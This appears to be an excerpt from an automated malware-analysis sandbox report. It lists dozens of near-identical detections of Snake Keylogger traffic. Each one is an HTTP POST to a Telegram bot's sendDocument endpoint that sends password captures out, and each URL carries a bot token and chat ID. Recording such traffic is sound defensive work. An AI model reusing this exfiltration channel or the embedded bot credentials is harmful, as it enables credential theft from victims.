Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ed3c6155Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ed5b5f3dHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ed7a5e75Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ed995e14Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255edb5f876Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255eddc1e0bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255edf3f502Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ee0bccbdHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ee391976Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ee4ea61cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ee6d8d55Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ee8c8b87Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255eea46375Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255eec0fef0Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255eee725a5Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ef16d25fHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ef526da2Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ef716bedHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ef89435dHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ef9eb898Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255efc4de56Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255efdcb580Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255effbb41aHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f018515dHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f03027e0Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f06e24edHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f08ac29cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f0a9c21aHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f0cfe7e3Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f0f60d43Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f11c3109Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f1425682Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f1615788Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f180548bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f195cb65Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f1c577ffHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f1e21602Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f20113e6Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f218e9b8Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f23f1164Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f25e1060Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f27aaaf6Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f2b1806bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f2e5f3feHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f31ccb95Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f33968c1Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f3513e44Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f3703e3cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f385b3d9Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f3a4b001Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f3c3aea9Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f3db8728Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f3f8239eHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f41721baHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f42efb39Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f4446daeHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f4636ccfHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f47b43a1Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f490b922Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f4afb74cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f4c78f72Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f4edb3a4Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f5032b33Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f51b008bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f539ff42Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f54f76baHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f5674ca3Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f57f2362Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f59bc08bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f5b39700Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f5d9be34Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f5f1944bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f60e30cfHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255f6260960Host: api.telegram.orgContent-Length: 407
